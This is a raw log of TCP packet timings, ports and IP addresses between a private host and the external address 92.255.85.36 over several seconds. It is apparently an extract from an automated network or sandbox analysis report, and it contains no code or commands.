Feb 27, 2025 20:26:15.504026890 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.538479090 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.544019938 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.592777014 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.636703968 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.636704922 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.642479897 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.645929098 CET	9000	52690	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.645963907 CET	9000	52690	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.646178961 CET	52690	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.646179914 CET	52690	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.651381969 CET	9000	52690	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.714883089 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.746292114 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.751841068 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.762090921 CET	52691	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.767653942 CET	9000	52691	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.767842054 CET	52691	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.767843008 CET	52691	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.773745060 CET	9000	52691	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.835715055 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.842247009 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.847440004 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.938328981 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.943653107 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.034580946 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.126475096 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.172909975 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.172962904 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.173156023 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.174778938 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.175245047 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.175834894 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.176342964 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.176434994 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.202825069 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.203282118 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.225749969 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.272597075 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.321109056 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.326653957 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.384824038 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.419677019 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.425020933 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.455946922 CET	9000	52691	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.456001997 CET	9000	52691	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.456254959 CET	52691	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.456254959 CET	52691	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.461421967 CET	9000	52691	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.513587952 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.513887882 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.519293070 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.559851885 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.561920881 CET	52692	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.567135096 CET	9000	52692	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.567539930 CET	52692	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.567539930 CET	52692	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.572755098 CET	9000	52692	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.608702898 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.613936901 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.626988888 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.671827078 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.704607964 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.756562948 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.756830931 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.798708916 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.802078962 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.807284117 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.869729042 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.895750999 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.901000023 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.990803957 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:16.991393089 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:16.996556044 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.086234093 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.091775894 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.112174034 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.165824890 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.185985088 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.232521057 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.241004944 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.270672083 CET	9000	52692	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.270792007 CET	9000	52692	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.270858049 CET	52692	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.276396990 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.276432037 CET	9000	52692	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.281738043 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.354722023 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.373512983 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.373780966 CET	52693	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.378871918 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.379018068 CET	9000	52693	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.379097939 CET	52693	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.379183054 CET	52693	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.384244919 CET	9000	52693	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.468596935 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.474030972 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.475961924 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.530831099 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.563545942 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.604916096 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.658830881 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.659570932 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.708405972 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.718786955 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.753407955 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.758809090 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.840059996 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.850282907 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.855490923 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.947357893 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:17.952797890 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:17.961199045 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.009315968 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.041572094 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.088476896 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.097115993 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.111053944 CET	9000	52693	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.111108065 CET	9000	52693	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.111330986 CET	52693	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.111706972 CET	52693	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.116462946 CET	9000	52693	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.137931108 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.143098116 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.211726904 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.218291998 CET	52694	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.223357916 CET	9000	52694	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.223560095 CET	52694	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.223560095 CET	52694	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.228622913 CET	9000	52694	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.234399080 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.239582062 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.329544067 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.335253000 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.341943026 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.392730951 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.425728083 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.472472906 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.472871065 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.521119118 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.522605896 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.527798891 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.584574938 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.617192030 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.622361898 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.706124067 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.712353945 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.717478991 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.809463978 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.814624071 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.827105999 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.871042013 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.903650999 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.935350895 CET	9000	52694	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.935431004 CET	9000	52694	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.935487032 CET	52694	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.935560942 CET	52694	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.940574884 CET	9000	52694	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.956322908 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.956839085 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:18.998716116 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:18.999594927 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.004726887 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.048604965 CET	52695	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.053823948 CET	9000	52695	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.053900957 CET	52695	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.054008961 CET	52695	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.059133053 CET	9000	52695	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.069619894 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.097076893 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.102446079 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.190526009 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.190932035 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.195950031 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.236709118 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.286216974 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.291621923 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.312186956 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.363703012 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.380280018 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.432585955 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.450026035 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.476619959 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.507399082 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.559715033 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.573863983 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.579179049 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.669553995 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.675163031 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.677978039 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.732155085 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.747425079 CET	9000	52695	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.747498989 CET	9000	52695	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.748003006 CET	52695	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.748173952 CET	52695	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.753091097 CET	9000	52695	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.764532089 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.813071012 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.861318111 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.862104893 CET	52696	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.862240076 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.867335081 CET	9000	52696	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.867525101 CET	52696	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.867526054 CET	52696	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.872612953 CET	9000	52696	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.912419081 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.920497894 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:19.955632925 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:19.961144924 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.046150923 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.051346064 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.056555033 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.148463964 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.153820992 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.162977934 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.209826946 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.243526936 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.294167042 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.337783098 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.338432074 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.388354063 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.405548096 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.433444977 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.438750982 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.526964903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.530576944 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.535726070 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.549128056 CET	9000	52696	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.549320936 CET	9000	52696	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.549355030 CET	52696	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.549863100 CET	52696	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.554445028 CET	9000	52696	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.625312090 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.630498886 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.648960114 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.658179998 CET	52697	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.666006088 CET	9000	52697	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.666095018 CET	52697	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.666176081 CET	52697	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.673841953 CET	9000	52697	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.705012083 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.705419064 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.756268024 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.776842117 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.787760973 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.792915106 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.880342960 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.886337042 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.890629053 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:20.943727970 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:20.960561991 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.008480072 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.020817995 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.040436029 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.045644999 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.120270967 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.125510931 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.133680105 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.183720112 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.200475931 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.248342037 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.264882088 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.281263113 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.286360025 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.349080086 CET	9000	52697	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.349116087 CET	9000	52697	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.349186897 CET	52697	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.349236965 CET	52697	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.354300976 CET	9000	52697	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.360415936 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.365474939 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.376380920 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.423727036 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.441036940 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.456250906 CET	52698	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.461348057 CET	9000	52698	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.461450100 CET	52698	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.461497068 CET	52698	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.466500998 CET	9000	52698	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.492367983 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.509546995 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.520780087 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.526010036 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.599503994 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.604975939 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.628063917 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.678817034 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.680393934 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.728389025 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.756855965 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.761392117 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.766583920 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.839473963 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.844794989 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.870384932 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.918746948 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.919729948 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:21.968286991 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:21.999484062 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.002168894 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.004585981 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.047032118 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.079428911 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.084673882 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.113238096 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.146539927 CET	9000	52698	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.146651030 CET	9000	52698	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.147200108 CET	52698	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.147201061 CET	52698	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.152417898 CET	9000	52698	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.158898115 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.159683943 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.208373070 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.240638018 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.246035099 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.249160051 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.255440950 CET	52699	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.260637999 CET	9000	52699	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.260822058 CET	52699	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.260822058 CET	52699	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.265948057 CET	9000	52699	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.302825928 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.319725990 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.355897903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.398828983 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.399427891 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.452526093 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.479583979 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.500706911 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.541819096 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.558542013 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.598227978 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.638583899 CET	52668	15847	192.168.2.16	92.255.85.36
